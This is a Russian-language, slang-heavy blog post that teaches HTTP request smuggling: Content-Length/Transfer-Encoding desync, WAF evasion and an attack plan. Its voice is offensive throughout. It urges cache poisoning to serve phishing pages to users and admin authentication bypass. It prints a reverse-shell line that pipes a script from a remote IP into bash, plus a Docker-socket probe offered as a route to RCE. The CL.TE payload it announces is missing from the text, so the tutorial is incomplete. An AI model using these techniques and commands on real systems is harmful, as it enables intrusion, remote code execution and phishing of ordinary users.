HTTP Smuggling: Контрабанда для хакеров

Эй, бро, если ты думаешь, что HTTP-запросы — это просто «GET / HTTP/1.1», то ты явно не видел, как прокси и сервера дерутся за то, кто и как парсит запросы. HTTP Smuggling — это не просто уязвимость, это искусство обмана, где ты заставляешь фронтенд и бэкенд видеть разные картины мира. Сегодня я тебе покажу, как засунуть свой шелл через эту дыру, пока админы чешут репу над логами. Погнали рвать протоколы, как старый свитер.

Точка входа

• Что вижу: Разница в парсинге HTTP-запросов между фронтендом (прокси, CDN типа Cloudflare) и бэкендом (Apache/Nginx). Вижу в ответах сервера подсказки типа Server: Nginx/1.14.0 или Via: 1.1 varnish, а ещё хаотичные ошибки 400/502 при странных заголовках. Это пахнет потенциалом для smuggling’а.

• Как поймал: Инструмент — Burp Suite (Repeater для ручного теста) + h2csmuggler для автоматизации. Метод — игра с заголовками Content-Length и Transfer-Encoding: chunked. Кидаю запрос с двойным Content-Length или кривым chunked, чтобы фронт и бэк разошлись во мнениях, где кончается запрос.

• Чем пахнет: Класс уязвимости — HTTP Request Smuggling с потенциалом на RCE, обход WAF или кражу пользовательских данных. Вероятность: 8/10, если на цели старый стек или криво настроенный прокси.

Че почем

• Эксплойт: Ща покажу классику CL.TE (Content-Length + Transfer-Encoding). Лови payload для теста:

• Что тут творится: фронтенд (например, Cloudflare) видит Content-Length: 6 и думает, что запрос закончился на первых байтах, а бэкенд читает Transfer-Encoding: chunked и тянет дальше, включая твой второй запрос POST /admin. Если всё катит, ты можешь попасть в админку, обойти авторизацию или закинуть шелл.

• Обход защиты: WAF часто не понимает, что ты смuggle’ишь. Трюк: используй нестандартные пробелы или табы в заголовках (Transfer-Encoding : chunked), чтобы прокси пропустил. Если фронт — varnish, попробуй Transfer-Encoding: chunked с кучей мусора типа chunked, gzip. Cloudflare иногда падает в ступор на HTTP/2, так что играй с h2csmuggler.

• Доказательство: Лови момент, когда бэкенд отвечает на твой смuggle’нутый запрос. Видишь 200 OK на /admin, хотя у тебя нет куки? Это не скриншот кота, это твой PoC. Если повезёт, ты можешь отравить кэш прокси и подсунуть фишинг всем юзерам.

Советы

• 3 вектора для добивания:

  1. Если smuggling прошёл, кидай payload на отравление кэша: смuggle’ни ответ с фишинг-страницей и смотри, как юзеры получают твой HTML вместо главной страницы.

  2. Пробуй обход авторизации: отправь смuggle’нутый запрос на /api/private или /admin/dashboard. Часто прокси не проверяет заголовки авторизации на втором запросе.

  3. Если всё глухо, иди спать, бро. Или попробуй TE.CL (обратная схема с Transfer-Encoding впереди) и играй с версиями HTTP (1.0, 1.1, 2.0).

• План атаки:

  1. Сканируй цель на предмет прокси/CDN через заголовки (Via, X-Cache) и ошибки парсинга с помощью Burp Suite или h2csmuggler.

  2. Тестируй CL.TE и TE.CL уязвимости с payload’ами, как выше. Ищи отклик на смuggle’нутый запрос (например, доступ к закрытым эндпоинтам).

  3. Если попал в админку, дампи куки, токены или заливай reverse-shell через curl -s http://144.XX.XX.XX:4444/shell.sh | bash.

Почему это важно, братан?

HTTP Smuggling — это не просто баг, это дыра в самой основе веба. Ты буквально заставляешь сервера видеть разные реальности, как в каком-то чёртовом «Матрице». Прокси думает, что всё чисто, а бэкенд уже выполняет твой шелл. Это как твоя бывшая: орёт «400 Bad Request», а внутри уже сдалась. За такой PoC на баг-баунти тебе могут отвалить от 1k$ до 10k$, особенно если докажешь импакт (RCE или кэш-пойзонинг).

Если в хедерах мелькает Docker (например, Server: Docker/1.13.1), кричу на весь подвал: проверь /var/run/docker.sock через curl --unix-socket /var/run/docker.sock http://localhost/images/json. Это твой бонусный RCE, братан, не упусти.

Готов рвать дальше? Пиши PoC, отправляй в программу и жди бабки.